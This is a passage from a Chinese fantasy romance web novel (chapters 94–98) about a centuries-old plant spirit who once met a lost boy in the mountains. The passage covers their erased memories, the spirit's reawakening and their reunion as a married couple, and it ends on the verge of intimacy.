在神识状态下,元神可以从本体凝结出有型的实体,以类似于灵魂的状态漂浮移动,但不能离开太远,只能在本体附近几十米的范围内活动。 随着修为增加,可活动的范围也会相应扩大。 元神有型,因而可以被人看到,但好在这附近是无人区,不会有人闯入,所以佘念无需担心这点。 他围着四周飘了一圈,这里是他自从生根发芽时就生活的地方,对附近的一切都了然于心。 哪里有人参好朋友,益母草兄弟又住在哪,他早已摸得滚瓜烂熟。 百无聊赖地在周围逛了一圈后,佘念又回到了本体附近。 就在他琢磨自己接下来该做些什么打发时间时,耳畔边忽然传来了一阵窸窸窣窣的声音。 只见前方的灌木丛里,不知从哪钻出来了一个人类小男孩。 他看上去只有十岁左右的样子,打扮穿着得体,气质出众,显然不是普通人家的小孩,但身上昂贵的衣物此时却格外凌乱,衣角还被枝杈给刮烂了,膝盖处还有一块明显的磕伤,正往外汩汩向外渗着鲜血。 两人猝不及防在半空中对上视线,皆是一愣,随即齐齐发出疑问: “诶?” “咦?” 这块地界从来没有人类出现过,眼下猝不及防地冒出个人来,佘念完全来不及收敛元神躲起来,就这么被人撞见个正着。 从小男孩的角度看去,佘念通体泛着幽白的荧光,外形似人而非人,仿佛幽灵一样漂浮在半空中,看不清五官和轮廓。 “你、你是鬼吗?” 他吓得后退几步,后背紧紧贴在树干上,害怕极了。 “人类真没礼貌,什么鬼,我可是妖精。” 被人这么称呼,佘念没好气地哼了一声,飘到了其跟前。 距离陡然被拉进,小男孩吓得惊恐地大喊一声,用胳膊抱头,捂住了脸。 就在他以为自己要被幽灵给吃掉时,膝盖处却突然传来温热的触感,就像是被浸了热水的毛巾热敷一样。 他缓缓地睁开眼,只见对面的“幽灵”忽然伸出了一只手,轻轻地点在自己受伤的膝盖处。 紧接着,一股无形的力量化作暖流从其指间涌出,在触碰到皮肤的瞬间,伤口便止住了血,然后消失不见。 整块皮肤完好如初,一丁点疤痕都未留下,仿佛从未受过伤一样。 “好厉害……” 原来不是要吃掉自己,而是要帮自己治伤,见状小男孩情不自禁地感慨道,戒心也放了下来。 “那当然,我可是蛇舌草精。” 自带治愈力量的药材,被夸了的佘念双手抱胸,骄傲地昂起头。 “你真的不是人,而是妖精吗?” “不然你看我像人类吗?” 闻言,男孩仔细将其打量一番,倒真没瞧出像人的地方,摇了摇头。 “小孩,你叫什么名字?” 第一次见到人类的佘念好奇地问道。 “我叫段闻洲。” 只听男孩小声地回答道。 第95章 “那你呢, 你叫什么名字?” 自报家门后,小段闻洲反问。 “我没有名字,只是一株蛇舌草精。” 不像人类, 独居的妖精一般是不会给自己取名字的。 “没有名字?那我该怎么称呼你?” 眼珠子转了转, 小段闻洲忽然想到了办法。 “我帮你取一个名字好不好?” 对称谓并不在乎, 毕竟妖精不像人,没有什么姓名的概念, 但见他跃跃欲试的,佘念便也没有拒绝, 也来了兴趣,想看看他能取出个什么名字。 “既然你是蛇舌草的话, 就姓佘好了, 不过名该叫什么呢……” 自顾自琢磨着, 姓有了, 在名这里倒卡了壳。 “要不先叫你小佘吧?” 小段闻洲挠了挠头,半天都没想到合适的字,只好暂时作罢。 “行。” 什么姓名都无所谓, 佘念应下, 随即开启下一个话题。 “话说你是怎么来到这里的?按理来说人类应该不可能闯入这片区域。” “我也不清楚,今天跟家里人来附近爬山, 不知道为什么, 回头一看,突然就发现自己迷路了。” 小段闻洲不好意思地说道。 他本来是在追一只松鼠,结果绕着绕着就不知道自己跑到哪里去了, 偏偏四周还尽是山雾,路看不清,也不认识哪条能下山, 就这么稀里糊涂地走到了这里。 闻言,佘念觉得还真是奇怪,这附近都是妖精们生活的场所,周围设有山神的屏障,通常来说人类是无法闯进的,他是怎么进来的? 余光一瞥,他瞧见了人胸前戴着的玉坠。 “这是我祖母送我的,据说大师开过光的。” 察觉到人的目光,小段闻洲主动拿出贴身佩戴的项链,展示给他看。 ——这玉坠是信佛的祖母特意为他求来的,由大师开过光,出生时他就一直随身佩戴了。 庙里开过光的?原来如此,想必就是这个东西保佑着人,所以才能穿过山神的屏障来到这里。 也算是一次一了,既然相见就是缘分,第一次和人类接触,佘念的好奇心上来了,与小段闻洲并排坐下。 “别担心,等会我会送你出去,不过在这之前,你可以陪我聊聊天吗?” 一听到能带自己离开,小段闻洲悬着的心瞬间放下,向其的方向挪了挪,一副知无不言的架势。 直觉告诉他这位妖精并没有坏心思,所以小孩子的戒备心就是如此来得快去得快,接受度也良好,已经将这位妖精当做朋友了。 “人类社会是什么样的?” “和山里完全不同,我们那没有这么多植物,都是高楼大厦,钢铁森林,一栋楼就几十层高,比你们这的树还高。” 说着,小段闻洲还指了指附近最高大的一棵树,做了个夸张的比划动作。 “真的吗?” 闻言,佘念想象了一下那个画面,有些讶异。 人类社会这么神奇吗?一直觉得那棵树就足够高大了,毕竟是自己这棵小草一辈子都无法企及的高度,可人类社会的楼居然会比这还要挺拔。 “我们还有车,你想去任何地方都可以坐车去,不需要双腿走路,不管多远的地方,只要有路就可以抵达。” 哪里都能去? 听到这,扎根于土里的佘念眼底流露出一抹羡慕,心底对人类世界的向往也油然而生。 见他听得入迷,小段闻洲说得也愈发来劲了,不停地同人介绍起来,俨然一个靠谱的小导游,上天入地,恨不得把知道的所有的事都一股脑分享给人。 甚至还掏出了口袋中为数不多的糖果,大方地同人分享起来。 甜丝丝的糖果一入口,佘念的眼睛倏地睁大,闪过一抹惊艳之情。 甘甜,回味无穷,比花蜜还要甜上几分,是从未尝过的味道。 这就是人类的食物吗?真好吃。 手中捧着人给的糖果,一颗颗地剥开往嘴里送,耳中听着人讲述着外面的世界,佘念津津有味,只觉嘴里甜,心里也甜。 想象中的人类世界画卷已经悄然在心中铺开,种下了一颗渴望的种子。 “你想不想去看一看?要不要干脆和我一起回家?” 忽然间想到书中所讲述的聊斋故事,妖精们都会下山混到人类中生活,小段闻洲灵光一闪,期待地提议道。 “我吗?” 像是想到了什么,佘念嘴角扯出一抹苦涩的笑,摇了摇头。 “不行的,我走不开。” “为什么?” “因为我还不能化人型,行动范围被限制在本体附近。” 话音落下,他指了指不远处的一株蛇舌草。 那正是他的本体。 “那是不是等你修炼成人后,就可以下山了?” “理论上是的。” “那我等你!等你以后能下山了,欢迎你随时来找我玩,到时候我带你好好参观一下人类世界。” 对面人的距离陡然拉进,模样在眼中瞬间放大,对视上那双期待的眼睛,拒绝的话在佘念嘴中打了个转,最终又咽了回去。 心底的种子被催化,就这么破芽而出,生根发芽。 见人点了点头,小段闻洲弯了弯眼睛,露出一个满意的笑来。 没想到,人类笑起来还挺好看的嘛。 瞧着人的笑容,佘念怔怔地心想。 两人又坐在一块聊了很多,虽然大部分的时间都是小段闻洲在说,佘念在听。 直到太阳快要落山了,佘念才站起身,示意人跟上自己。 “快天黑了,我现在带你离开这里,人类最好不要在这片区域过夜。” 只要再次穿过山雾屏障便能回到人类世界,好在临界点离这里不算太远,即使是行动受限的佘念也能互送人来到附近。 “从这里走过去,你就能回家了。” 佘念指了指前方百米的位置。 在山雾的笼罩下,外界与此处形成了鲜明的隔绝,雾气浓郁,伪装成了天然的假象。 “谢谢你。” 看了一眼前方,小段闻洲回头认真地对人鞠了一躬,表达自己的感谢。 在临走前,他顿了顿,本来已经迈步,但紧接着又掉头跑了回来。 “怎么了?” 以为他还有什么事,佘念问道。 “你……” 没想到小段闻洲反倒吞吞吐吐起来。 “你确定,以后会下山来找我的,对吗?” 他认真地确认着这个问题,显然已经是将其视作了一个承诺。 闻言,佘念先是愣了愣,随即也学着人方才的样子,露出一个温和的笑: “好哦,等我以后修炼成人型了,一定会去找你的。” “那我送你个东西,以后你带着它去找我,我就能认出是你来了。” 可尴尬的是,由于方才迷路的慌张,还摔了一跤,此时小段闻洲的身上什么都不剩了,愣是没翻到一样东西可以拿得出手的。 见状,佘念低笑一声,随即以最快的速度飘回了本体边上,摘下了一小株干枝给人。 为了保佑人平安离开,他还悄悄对其施加了妖精的赐福,能庇护他眼下及未来的生活顺风顺水。 ——其实他自己也说不上来,为什么要对一个萍水相逢的人类施加这个法术,但不知怎的,就是想这么做。 “送给你这个。” 一株小蛇舌草叶片被递来,小段闻洲珍重地接过,小心地将其握在手心。 “我会好好保存的。” 他一字一句地认真说道。 在准备跨过山雾时,小段闻洲一步三回头,不停地转身看向佘念。 “我想到要帮你取什么名字了——” 紧接着,他站在屏障边,对其大喊道。 “你就叫佘念好不好?单名一个念字,想念的念。” 正所谓念念不忘必有回响,自己会在山下一直等候着他,一直想念着他。 直到两人再次见面的那刻。 佘念……吗? 听上去好像是个不错的名字。 低声轻念着这个名字,佘念嘴角不由自主地上翘几分。 “好,那我就叫佘念,等佘念化形成功了,我就会下山去找你的。” 他应道。 得到满意的答复后,小段闻洲用力地对其挥了挥胳膊,然后才依依不舍地离开了。 “我会一直在山下等你的,佘念——” 当他穿过雾气,整个人身形消失时,幽远的声音飘来,仿佛萦绕在耳边。 这人类小孩,还挺有趣的。 一直注视着人的背影,直到消失不见,佘念才移开视线,不由得莞尔。 ———— 按照佘念的指路,小段闻洲沿着山路不停向下跑去。 他一边跑,一边握紧了胸前的玉坠。 虽然从不信这些鬼神论,但在亲眼见过妖精后,他觉得或许这些也不全然是假的,便虔诚地在心底许愿起来: 老天爷,如果你真的存在的话,请一定要保佑佘念能成功化形,让我们能够再见一面。 他也说不清原因,很喜欢佘念,格外期待能与人重逢。 不知是不是巧合,就在他默念完后,天空忽然凭空响起一阵惊雷。 雷声大得仿佛将天空撕开了一个口子。 下一秒,小段闻洲忽然觉得心脏停跳了一拍,紧接着,一阵眩晕涌上心头,令他眼前发黑。 再接下来,他的四肢变得无力,竟两眼一闭,毫无征兆地晕了过去。 天边的惊雷再次响起,却没有下雨,雷声停止后,天空重新恢复了宁静,就像是什么都没有发生过一样。 唯独人手中的玉坠,莫名碎成了两半。 等到太阳正式落山时,昏迷的段闻洲终于被焦急的家人找到。 等他醒来,家人们担忧地询问他在山上遭遇了什么,竟失踪了整整两天,并且随身佩戴的玉佩也碎了。 可面对这些问题,段闻洲只觉一片茫然。 在山上的经历,他居然一点也想不起来,就好像记忆被凭空给抹掉了一般,只剩空白。 他不知道为什么自己会失忆,为什么玉会碎掉,更不知道为什么自己身上会攥紧一片叶子。 倒是信佛教的祖母一直感慨,是老天开眼在保佑自己的孙子。 老天……吗? 丝毫回想不起来发生过什么,段闻洲敛眸,紧盯着手中的那片蛇舌草叶片。 按理来说,这样一片不知来历的叶子,或许就是自己在山上的哪处随时扯下来的,丢进垃圾桶就行。 可不知道为什么,他潜意识里觉得,这叶子应该对自己很重要。 于是在出院后,他没有扔掉,而是仔细地将叶子制作成了书签,夹在了书中保存。 透过卧室的窗,他看到了深沉夜色,满天繁星,还有远方的山顶。 视线穿过遥远的距离,庞大的山峰也化为一个点,融入夜幕之中。 ——书中的书签,正是后来佘念在主宅的卧室书柜中,所找到的那枚。 而所谓的其他蛇舌草,实际上也正是佘念本人。 他们之间的缘分,其实从很早以前就开始了。 第96章 送走小男孩后, 起初佘念并没有将那日的约定放在心上,还是过着和从前一样的生活,只在附近活动。 只不过, 听闻过他人所描绘的人类世界的模样, 一直在脑海内浮现。 还有那个人类临走时期待的视线, 也始终在眼前闪过。 炽热,滚烫, 又满含渴望。 向往的种子一旦被种下,便会生根发芽, 渐渐长成参天大树。 其实佘念成精很早,大概在几百年前就已经开化有神智了, 得益于悟性颇高, 虽然他只是一株蛇舌草, 但修炼得也很快, 不比其他高智生物差。 只不过对于化形成人这件事,他一直没有什么积极性,所以并不像其他的妖怪一样, 始终以成人为最终修炼目标, 不断为之努力。 但是,自从那日见过人类, 又从男孩的口中听过人类世界的繁华后, 佘念心中便有了几分隐约的向往。 在这几日的修炼中,佘念的法术又有所精进,能够活动的范围也相应扩大。 他穿过山雾, 来到了山顶的位置。 从这处最高点向下看去,恰好能够俯瞰山下的全部风光。 此时正值深夜,遥远的山脚那处便是人类的世界。 高楼大厦的霓虹灯汇聚成了璀璨的银河, 比起天上的繁星还要耀眼,即使入夜,但依然灯火通明,热闹非凡,宛若不夜城。 以俯视的角度看,庞大的钢铁森林被缩小得仿佛米粒,但其中的繁华依然可见。 先进的文明和技术都明晃晃地彰显着,这是一个与山上风貌截然不同的地方。 从山顶向下眺望,与山脚向上仰视,两道视线要多久才能相遇呢? 或许,下山去看看也不错? 毕竟也是与某人有过约定的,万一失约了,会辜负他的吧。 想到这,佘念垂下眼眸,暗暗拿定了主意。 ———— 自那天起,佘念的修炼便愈发刻苦起来,法力每日渐增。 周边所有的植物都知道,他是在为化形努力,想要下山去。 也都知道,他最近有了新名字,叫做佘念。 有的草问他,为什么一定要执着于成人,还学着人类给自己取名字,继续当妖精在山里待着不好吗? 对此,佘念只是笑了笑,没有解释。 在修炼的日子里,每每空闲时分,他都会跑到山顶的位置发呆,站在那里俯瞰山脚的风景。 不知道那天遇见的人类男孩,他现在在干什么呢? 按照人类的年龄来说,他现在应该长大了吧,不知道相貌有什么变化? 已经过了这么多年了,等到下山以后再次见面,他还认得出自己是谁吗? 有人俯瞰,有人仰望,在繁星的见证下,他们的视线曾在空中交汇过无数次。 由于修炼有天赋,外加上有之前百年奠定的基础,所以成人所耗费的过程并不长,花费了不到二十年,佘念就摸到了瓶颈。 ——只要能渡过这一劫,他便能成功化形成人,下山去赴约了。 面对滚滚的天雷劫,佘念握紧了拳头,心中没有一丝动摇,毅然决然地上前,迎接了这一劫。 可是,他失败了。 作为食物链最底端的植物,其实佘念能修炼到如今的程度,便已经是出类拔萃,足够让所有妖精刮目相看了。 但比起那些灵智更高的肉食性动物,他的起点还是太低了,所以化形要困难更多。 就在佘念以为自己即将灰飞烟灭之时,没想到天道竟会现身。 ——“去吧,特赐你一次能够化形的机会,你的灵魂将踏上轮回路成人,命运会为你指引的。” 天道的声音缓缓从天的尽头飘来。 为什么天道会插手一株小小的蛇舌草渡劫之事中?这仍谁听了都会觉得匪夷所思。 这是因为,它曾经接收到了某个男孩的愿望。 ——“老天爷,如果你真的存在的话,请一定要保佑佘念化形成功。” 当段闻洲在心底许下这个愿望时,他胸前开过光的玉坠听见了他的声音,发挥了媒介作用,充当起了上天与人界沟通的渠道,使得天道倾听了他的许愿。 而玉佩碎裂,则代表天道应允,表示会实现他的愿望所做出的回应。 因此,当佘念渡劫失败时,天道才会现身于他跟前,特赐其一次重新开始的机会,得以另一种方式化形成人。 只不过按照三界的规定,人类是不允许得知妖精的存在的,所以在段闻洲离开山雾的范围,玉坠碎裂时,天道在接受愿望时,一块抹去了他的那段记忆。 同样的,为了平衡缘线,在佘念化形成人之时,天道也抹去了他的记忆,令他忘记了要下山赴约的承诺。 或许是天道心软给予了恩赐,又或许是缘分注定两人终将重逢,佘念竟然重生成为了同名同姓的佘家那位傻少爷,还要与段闻洲联姻结婚。 但原定的命运轨迹显示,若是小蛇舌草佘念没有出现的话,段闻洲是不会接受这场联姻的。 正是佘念以自己面貌的出现,无形地改变了他的未来。 命运的齿轮转动,两人兜兜转转,重逢相见,再次走到了一起。 霎时间,佘念只觉得四周的画面全部静止了,停步于自己渡雷劫之时的画面,下一秒,眼前的景象如破了的玻璃般碎裂、风化。 渐渐地,周围的画面尽数消失不见,褪色变回了最初的黑暗。 我想起来了……全都想起来了。 记忆如碎片般纷至沓来,涌入佘念的脑海中,站在黑暗中,他怔怔地想道。 这些全都是自己丢失的回忆,如今全部再亲身经历过一遍,才得以重新回想起来。 原来当年,自己曾经与段闻洲见过的。 就在那座山上。 “小蛇舌草,你俩缘分深厚,红线已缠绕于你二人之间,纵使再多阻碍,都无法阻止你们相见。” 无尽的黑暗中,天道的声音突然飘来。 闻言,佘念低头看了看自己的手,发现无名指上多了一根红线。 红线的一端系在手指根部的位置,细长又柔软,一直蔓延至前方,不见另一端的尽头。 “珍惜这段缘分吧。” 说完,天道便隐去了踪迹,仿佛从来没现身过。 “佘念。” 耳畔边忽然听见一个熟悉的声音,正低头的佘念怔愣片刻,随即猛地抬起头来。 只见前方,段闻洲的身影突然出现,他嘴角微微上翘,对人流露出一个温和的笑,屹立在跟前。 而红线的末端,正系在他的无名指上,将两人联结。 “我们回家。” 他说着,对人伸出了手。 面对人那副温柔的表情,佘念只觉嗓间干涩,热泪盈眶,仿佛有什么东西堵住了喉咙,想发声却做不到。 “嗯,回家。” 他吸了吸鼻子,哽咽着哑声回答,然后站起身,跌跌撞撞地奔向人。 在两人拥抱的瞬间,天地的黑暗骤然变换,阳光与春意驱赶了让人寂寞的黑色,霎时间春暖花开,万物复苏。 春天驱赶走了孤寂,降临大地,一如他们的爱情。 ———— 今日不知为何,段闻洲醒得格外的早。 虽然说,这段时间他睡眠一直不太好,醒得都很早。 他偏头看向窗边,意外地发现居然有一束阳光穿透了窗帘。 真是让人意外,这半个月来一直都是阴天,今天竟然难得地放晴了。 该起床去浇水了。 想到这,段闻洲抹了一把脸,起床下楼,拿过浇水壶准备去阳台。 阳光明媚,透过大落地窗照进屋内,竟有些许晃眼。 段闻洲垂下眼眸,面无表情,但细看能发现他眼眸中略带哀伤,眉间黯然。 他照常向着阳台走近,视线落在地面,敛眸沉思,不知何日佘念才会醒来。 一向安静的阳台,今天似乎有些不太一样。 射来的阳光被什么物体给遮挡住了,从落地窗照进室内时被截断,落在脸上时混杂着阴影。 见状,段闻洲似乎隐约意识到了什么,心脏突然间跳得极快。 扑通扑通,像是要跃出胸膛。 他缓缓地抬头望去,在看清阳台的景象后瞳孔骤然缩小,震惊爬上脸颊。 下一秒,水壶哐当掉落,摔在地面,装满的水淌了一地。 只见前方,一个背影逆光坐在阳台上。 那个背影跪坐在地面,此时背对着段闻洲所在的方向,正仰头看向窗外。 金辉的晨曦温柔地洒落,在他的身上披了一层仿佛黄金织就的薄纱,落在他的发梢、肩头以及手心,晕开了他周身的轮廓。 明明是模糊的,近在咫尺的身影,但落在他人眼底,却又显得如此的清晰,如此的遥远。 在他的身边,那盆被精心照顾的蛇舌草却已消失不见,徒留一个空空的花盆和土壤在原地。 “佘…念…?” 段闻洲试探着开口,只觉四周的空气都被抽走,嗓子发紧发痛。 看似用尽全力地开口,但发出的声音却是如此低不可闻。 可就是这样细如蚊呐的声响,还是传达到了某人的耳中。 闻言,前方的人回过头来,映入眼帘的,正是日思夜想的那张脸庞。 只见佘念缓慢地转过头,脸上还是懵懂茫然的表情,但在看见段闻洲后,他的眼睛瞬间睁大,浮现出惊喜。 一如既往的亮眼光芒在瞳孔中,亮晶晶的,其中仿佛有星星在闪烁。 “佘念,真的是你吗?” 完完整整地看清那张脸后,段闻洲再也抑制不住压抑的感情,哽咽出声。 “老公——” 熟悉的又乖又软的嗓音传来,是独属于某人的音调,佘念似是也有些委屈,吸了吸鼻子,瓮声瓮气地喊道。 他跪坐在地上,没有起身,而是径直对人张开了双手,敞开怀抱。 ——其含义不言而喻。 即使没有言语,但段闻洲也能这个动作明白是什么意思,他颤抖着上前,在迈出第一步时竟觉得有几分腿软。 一步,两步,三步,或许是嫌走路的步调太慢,最终演变成了快跑。 他快步跑上前,然后单膝跪地,紧紧地拥住了自己日思夜想的爱人。 同样的,佘念也用力回抱住了他。 分别多日的他们,在今日,终于能够再次拥抱住彼此。 “佘念……” 段闻洲喃喃地呼唤着人的名字,胳膊紧紧地抱着人,将头埋在人的肩窝处,嗓音带颤。 “老公,我好想你。” 而佘念也在他的脖颈处蹭了蹭,软声地倾诉着思念。 “我也好想你。” 说着,段闻洲单手捧起来佘念的脸,痴痴地注视着爱人的脸颊,摩挲着其皮肤。 紧接着,他再也抑制不住汹涌而出的爱意,径直吻了上去。 这是一个比往常还要发狠的吻,不似曾经那般温柔,反而多了抹激烈。 乖巧地承受着这一吻,佘念缓缓地闭上了眼睛,攀上人的肩膀。 在清晨和煦的日光中,他们拥吻缠绵。 第97章 “所以说, 你真的是蛇舌草精?就是药材里那个蛇舌草?” 抱着人在沙发上坐下后,段闻洲问道。 在刚刚的那一吻结束后,曾经小时候的记忆如雪片般涌进脑海里, 令他回想起了被遗忘的那段经历。 ——这是天道设下的解开记忆的锁, 当两人正式在一起后, 便会解除封印,自动归还他们的记忆。 原来, 十岁时自己曾在那座山上和佘念见过。 原来,佘念其实是一株蛇舌草精。 “嗯呐。” 侧坐在人大腿上的佘念晃了晃脚丫, 非常认真地点了点头。 “我其实伤得不严重,就是法力透支得太狠了, 所以才会自动变回原型, 陷入昏迷。” 因为在车祸中为了救段闻洲, 他使用了太多的力量, 在人型状态下昏睡了一段时间仍然得不到足够的补充,所以才在后来变回了蛇舌草原型。 这也是为什么那天段闻洲会在病床上捡到一株蛇舌草。 得益于他将蛇舌草移植进了土里的举动,外加上在家的精心照料, 依靠土壤和养料, 原型状态下的佘念很快就补充了足够的法力,这才苏醒过来。 “所以, 那时在温泉里, 我看见你头顶上的花,其实就是你的本体?” “对哦。” 沉浸在庞大的信息量中,即使曾经亲眼见识过妖精, 但如今重新接触到有关真相,记忆涌入脑海中,段闻洲还是有些难以置信, 需要一定时间去消化。 像是为了证明自己似的,佘念决定给人情景再现一下头顶开花的画面。 只见他双手握拳,闭眼皱巴着脸发力,浑身上下就连眉毛都在使劲。 在他的努力下,伴随着“嘭嘭”两声,毛绒绒的头顶上瞬间绽放出了一朵白色小花。 “真的开花了?” 亲眼目睹花从脑袋上冒出的过程,段闻洲看呆了,差点要怀疑自己出现了幻觉。 他好奇地伸出手,轻轻碰了碰那朵花,白色的小花微微摇晃着,屹立不倒,即使想摘下来也要费一番功夫。 “我还可以开更多花的,只是现在身体有点虚,所以只能变一朵给你看。” 佘念遗憾地说道。 因为受伤过后发力亏空太多,所以现在的他还处在虚弱期,不能使用过多力量。 看着跟前名副其实的蛇舌草小妖精,段闻洲一时间百感交集。 既为这带有玄幻色彩的真相,也为两人曾经的相遇。 或许,这就是世人常说的缘分,哪怕是在双方都遗忘了约定的情况下,兜兜转转,这株小蛇舌草还是来到了自己身边。 “这个,可以摘下来吗?” 段闻洲又抬手拨弄了一番花瓣。 “可以的……唔。” 其实,花朵作为比较敏感的器官,被人修长的大手这么一碰,佘念觉得浑身好像有电流窜过一样,痒到内心深处,酥酥麻麻的。 他忙不迭地将花给摘下来,递到人手中。 ——要是再让人碰下去的话,恐怕就要出事了。 白色小花静静地躺在手心里,段闻洲眉眼柔和地低头看着,轻柔地抚摸着花瓣。 紧接着,他将茎叶对折,原本还普通的一朵小花,在他的手中被翻飞弯折,很快就转变成了另一个模样。 由最初的一枝花,变为了一枚戒指。 戒指的折法恰到好处,白花正好处在圆圈最中间的位置,代替了钻石的地位。 “哇,老公,你好厉害。” 看着由自己的植株编织而成的草戒,佘念情不自禁地感慨道。 “说起来,我还欠你一个回答,小朋友。” 说着,段闻洲笑了笑,大手温柔地拂过人柔软的脸蛋,低沉的嗓音富有磁性,满是浓浓的情意,让人下意识就红了脸。 “当我看见你躺在病床上,医生们怎么都找不出你昏睡的原因时,头一次感觉到恐惧,即使是公司危机时,我都没有那么害怕过,我不敢想象,要是你不在我身边的话,生活会变成什么样子。” “直到那时我才意识到,我太胆小了,胆小到因为各种顾虑,不敢接受你的表白,险些要错过机会。” 他顿了顿,抬头看向佘念。 “后来我想明白了,顾虑再多,那也不该成为阻碍,因为我们要在一起,唯一需要考虑的只是对彼此的感情。” “佘念,我爱你,一直都只爱你,你现在还愿意和我在一起吗?” 比起担忧年龄差是否过大、未来是否不确定,最重要的应该是感情。 在这些虚无缥缈的因素下,再多的阻碍都抵不过佘念的一句喜欢有力量。 困难再多又怎样,只要彼此相爱,就能携手排除万难。 如果只是因为这些就裹足不前,岂不成了因噎废食? 太过胆小的话,是无法拥有某些东西的。 这一次,段闻洲他要亲口对人说出自己的感情。 ——他喜欢佘念,爱佘念,除了佘念以外,再没有人能像这样走进他的心里。 听见这句我爱你,佘念的眼睛倏地睁大几分,愣在原地,怀疑自己是不是出现了幻听。 我听错了吗?老公刚刚是不是对自己表白了? 而且说的还不是喜欢,是爱。 这是不是意味着自己追人成功了,我们可以正式在一起了? “佘念,我知道我的回答可能来得有些迟,现在你还愿意和我在一起吗?” “如果愿意的话,把手交给我好吗?” 说着,段闻洲对人伸出了手,摊开掌心,静静等候着人的答复。 “我愿意的!” 几乎是毫不犹豫,佘念用力地点了一下头,然后将自己的手递到他的手中。 两只手相触碰在一块时,大掌便立刻握紧了小几分的手,力道大得不会让其有挣脱开的机会。 但力道又很轻,温柔得不会令人感到任何被攥紧的疼痛。 段闻洲垂下眼盯着那只手,然后拿起自己刚刚编织的那枚戒指,缓缓地套进了人的无名指中。 郑重,又认真。 花草编织的戒指与之前的那枚钻戒相叠,白色小花立于上方,宛如刚扎根于爱意的土壤中,绽放其上。 “好看。” 佘念眯了眯眼,喜欢得紧,反复地打量着这枚新戒指。 虽然比不上钻戒的昂贵,也并非是在婚礼的当日交换,但却有着截然不同的意义。 这枚编织的草戒,是他们心意相通后的见状。 “佘念。” 就在佘念低头欣赏新戒指时,头顶上方忽然传来温柔的呼唤,他鼻音轻哼一声,发出疑问,好奇地抬头看来。 就在他仰头的瞬间,脸颊被大手温柔地捧住,紧接着,一个吻再次落下。 唇瓣被人吸.吮含住,当舌头长驱直入时,佘念的瞳孔中闪过微微诧异,但很快便敛眸,慢慢闭上了眼,享受着这一吻。 亲吻结束后,被亲得舒服极了,佘念仿佛被融化的奶油一样,浑身都软软的,哼唧着就往段闻洲的身上靠。 这模样,黏人极了。 他依在男人的胸膛前,用手指在其胸前画着圈圈: “老公,你是什么时候喜欢上我的哇?” 被问到这个问题,段闻洲反倒不好意思起来了,尴尬地咳了一声,承认道: “其实,很早就开始了,在你追我之前。” “咦?” 闻言,佘念震惊,猛地支楞起脑袋来。 “那你为什么之前不答应我,还要我追你?” 如果早就是互相喜欢的话,那为什么还要追人呢,害得自己以为老公不喜欢自己呢。 “这个……” 段闻洲的眼神左右闪躲,不肯正面回答。 现在回想一下,原因也太逊了,要是让人知道自己是因为年纪而自卑,那恐怕会被大笑一顿吧。 而且,就现在真是的情况来说,佘念是一只活了几百年的小妖精,年龄大小问题已经掰扯不清楚了。 “不告诉你。” 于是他捏了捏人的鼻子,岔开了话题。 “总之,你现在知道,不用你追,我已经上钩了。” “或者说你要是不开心的话,换我再来追你一遍?” 听到这个提议的第一秒,佘念还真有些心动,因为他还挺好奇段闻洲追起人来会是什么样子。 但转念一想,两人闲得慌呢,这追来追去的,不是还把关系倒回去了吗。 明明是互相喜欢的,当然是在一起更重要了。 于是他坚定地甩了甩头,认真地强调: “不行的,我们已经在一起了,不需要再追了。” “而且你追我的话,我最多只能坚持一分钟,就会忍不住要答应你了。” “老公,你是喜欢我的吧?” 他黏人地靠在人身上。 “当然,要我说多少遍都可以。” 再表白千次万次都可以,段闻洲在人的额间亲了亲。 “喜欢你。” 亲完后,他的嘴唇又下移至眼睑。 “喜欢你。” 吻如雨点般依次落在人的脸颊、鼻尖还有下巴上,每亲一次,他便会表白一句喜欢。 而当即将亲吻上唇瓣时,他凝视着佘念的眼睛,认真地道: “佘念,我爱你。” “我也爱你,全世界最爱你!” 被亲了亲嘴唇后,佘念猛地抱住了人。 在晨曦与上天的见证下,他们终于跨越了重重阻碍,走到了一起。 爱意永不凋谢,牵在一起的手也永远不会再分开。 ———— 佘念醒来的消息很快就被告知了家人还有好友们,众人得知后立刻赶来了别墅探望。 段父段母,老爷子,还有祁宁几人全部在同一时间赶了过来。 一时间,偌大的别墅内格外热闹,大家围在一起对佘念嘘寒问暖,关心着他是否已经完全康复,还有没有哪里不舒服。 被众人关心得都有些不好意思起来,佘念局促地挠挠头,有问必答。 不过关于妖精身份这点,两人不约而同地选择了隐瞒。 毕竟,这事不太适合,也没必要大肆宣扬。 晚饭后送走大家,刚互通心意的两人终于再次有了独处时间。 虽然说已经正式在一起,但佘念还有些没实感,只是觉得两人的关系肯定会更亲密些。 直到上床后,被段闻洲压在身下,他才后知后觉反应过来,自己可能遗漏了某些事。 “老公,怎么了?” 他缓慢地眨了一下眼睛,问道。 “小朋友,你知道作为夫夫,我们还有什么事没完成吗?” 段闻洲哑声开口,眼眸被垂下的眼睑半遮住,其间的欲望已经如海浪般在翻搅。 第98章 看着佘念懵懂的表情, 段闻洲便知道,这只单纯的小妖精还尚且不知床笫之欢。 作为已婚夫夫,外加已经互通心意的爱人, 走到这一步似乎是水到渠成的。 之前的段闻洲并没有在意过这方面, 因为他知道当时的两人只是联姻, 所以不可能进行到这一步。 即使后来意识到了自己的感情,他也不可能因为自己的情感, 就单方面要做到最后。 而眼下,两人既然已经袒露过爱意, 正式在了一起,段闻洲便再也压抑不住了。 天知道之前面对佘念撩人而不自知的举动时, 他克制得有多厉害, 好几次差点被惹出火来。 “还有, 什么事没做过吗?” 状况外的佘念缓慢地眨了一下眼, 大脑思索了半天也没想明白是什么,歪了歪脑袋发出疑问。 这个茫然的样子太过可爱,像极了听不懂人言人语的歪头小猫咪。 见状, 段闻洲勾了勾唇, 没有开口,而是直接用行动来回答人。 只见他的手缓缓地抚摸上人的脸颊, 像是对待珍宝一样珍重, 紧接着手掌向下移去。 一被触碰,又烫又痒的感觉瞬间扩散至全身,佘念浑身控制不住地抖了抖, 被激出泪花。 佘念眨了眨湿漉漉的眼睛,投来询问的目光。 可两人的视线在半空中交汇时,他便立刻读懂了男人平静深邃的眼眸之中, 所翻滚的汹涌情愫。 段闻洲的目光格外滚烫、炽热,像是有海浪在翻滚,渴望在其中呼之欲出。 只要与其对视,便能明白其中满含的想法是什么。 只一瞬间,佘念就明白了过来,要做的事是什么了。 ——用植物的话来说,就是要授粉。 毕竟两人已经结过婚了,从人类的角度来说,夫夫间“授粉”是很正常的,也是每对夫夫都会做的事。 只不过,自然界里植物从来都是雄性和雌性才能授粉的,人类居然同性也可以吗? 他呆愣愣地思考着,这幅表情落在段闻洲的眼中,显得更呆萌可爱了。 忽然间,段闻洲觉得良心有一点痛。 